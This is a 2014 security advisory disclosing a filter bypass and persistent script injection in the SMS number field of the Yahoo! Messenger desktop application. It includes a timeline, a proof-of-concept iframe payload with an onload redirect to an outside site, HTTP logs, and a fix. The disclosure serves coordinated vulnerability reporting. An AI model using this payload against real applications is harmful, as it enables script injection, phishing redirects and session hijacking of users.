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Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Thu, 10 Jul 2014 14:47:20 +0200

Document Title:
===============
Yahoo! Bug Bounty #29 YM - Filter Bypass & Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1136

Video: http://www.vulnerability-lab.com/get_content.php?id=1279


Release Date:
=============
2014-07-07


Vulnerability Laboratory ID (VL-ID):
====================================
1136


Common Vulnerability Scoring System:
====================================
6.3


Product & Service Introduction:
===============================
Yahoo! Inc. is an American multinational internet corporation headquartered in Sunnyvale, California. It is widely 
known 
for its web portal, search engine Yahoo! Search, and related services, including Yahoo! Directory, Yahoo! Mail, Yahoo! 
News, Yahoo! Finance, Yahoo! Groups, Yahoo! Answers, advertising, online mapping, video sharing, fantasy sports and its 
social media website. It is one of the most popular sites in the United States. According to news sources, roughly 700 
million people visit Yahoo! websites every month. Yahoo! itself claims it attracts `more than half a billion consumers 
every month in more than 30 languages.

(Copy of the Vendor Homepage: http://www.yahoo.com )


Abstract Advisory Information:
==============================
The Vulnerability-Laboratory Research Team has discovered multiple vulnerabilities in the official Yahoo! Messenger 
software v11.5.0.228 application.


Vulnerability Disclosure Timeline:
==================================
2013-07-31:     Researcher Notification & Coordination (Ateeq ur Rehman Khan - Core Research Team)
2013-08-01:     Vendor Notification (Yahoo! Security Team - Bug Bounty Program)
2013-09-01:     Vendor Response/Feedback (Yahoo! Security Team - Bug Bounty Program)
2014-06-01:     Vendor Fix/Patch (Yahoo! Developer Team - Reward: HackerOne Program)
2014-07-07:     Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Affected Product(s):
====================
Yahoo!
Product: Yahoo! Messenger Desktop (US) 11.5.0.228 (US)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An input filter bypass & persistent web vulnerability has been discovered in the official Yahoo! Messenger 
(11.5.0.228-us) Desktop Application. 
The persistent remote web vulnerability affects the software exception handling module of the phone `SMS` feature in 
the application. 

It was initially discovered that while sending an `SMS`, the Yahoo IM application validates all entered numbers through 
a 
remote host: validate.msg.yahoo.com. If the number is invalid/malicious the remote host responds with an `unknown 
number` exception 
which is then handled by the IM application in a new msg window. While handling the exception, the injected code gets 
executed 
successfully in the new msg window where the exception is processed as HTML. 

Malicious requests can be injected in the `Enter Mobile Number` input field using a filter bypass technique while 
sending an SMS 
through the Yahoo IM application. It seems that basic security controls are in place to restrict user from typing in 
Alphabets and 
special characters when sending an SMS however a simple copy/paste of a specially crafted payload bypasses the 
restriction quite 
easily and results in successful code execution of the injected scripts code.

The security risk of the filter bypass and persistent vulnerability is estimated as high with a cvss (common 
vulnerability scoring 
system) count of 6.3.

This type of vulnerability can be exploited by a non privileged / unauthorized remote attackers and requires a normal 
application 
user account (victim). The successful exploitation of the remote vulnerability results in session hijacking, persistent 
phishing, 
persistent external redirect, persistent external malware loads and persistent manipulation of affected module context.

Request Method(s):
                                [+] POST

Vulnerable Service(s):
                                [+] Yahoo! Messenger - Desktop Application v11.5.0.228-us (software)

Vulnerable Parameter(s):
                                [+] Enter Mobile Number

Affected Module(s): 
                                [+] Send An SMS > Mobile Number


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low user interaction and 
low privileged 
web application user account. For demonstration or to reproduce ...

Manual steps to reproduce the vulnerability ...
1. Login to your Yahoo IM application
2. Click on the Send an SMS icon
3. Inject the "Payload" in the "Enter Mobile Number" input field
4. A new IM window should popup and shortly your browser should be redirected to my website proving the existence of 
this vulnerability


PoC: Payload
'%3d'>"><iframe src='http://vulnerability-lab.com&apos; onload=window.location=('http://evolution-sec.com&apos;)></iframe>/927

--- PoC Session Logs ---
HTTP Requests: POST /mobileno?intl=us&version=11.5.0.228 HTTP/1.1
Cookie: [HIDDEN]
path=/; domain=.yahoo.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5)
Host: validate.msg.yahoo.com
Content-Length: 153
Pragma: no-cache

<validate intl="us" version="11.5.0.228" qos="0"><mobile_no 
msisdn="1334372637724887885637224548952226666562325378762437263927"></mobile_no>
</validate>

-Response:
HTTP/1.1 200 OK
Date: Wed, 06 Nov 2013 12:52:31 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml";, CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi 
TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR 

FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Content-Length: 173
Cache-Control: private
Connection: close
Content-Type: text/html; charset=utf-8

<validate>
  <mobile_no msisdn="1334372637724887885637224548952226666562325378762437263927">
    <status>Unknown</status>
    <carrier></carrier>
  </mobile_no>
</validate>



Demonstration Video(s):
                        ../video.wmv

Reference(s):
http://www.yahoo.com
http://messenger.yahoo.com


Solution - Fix & Patch:
=======================
Proper security controls should be implemented/enforced in the IM application to validate input and restrict copy/paste 
of 
malicious requests in all affected input fields. Also restricting the exceptions response type so they are not 
processed as 
HTML by the IM application is recommended.




Security Risk:
==============
The security risk of the persistent exception-handling web vulnerability is estimated as high(-).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq () evolution-sec com) [www.vulnerability-lab.com]



Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either 
expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-Lab or its suppliers 
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or 
special damages, even 
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the exclusion or limitation 
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or 
encourage anybody to break 
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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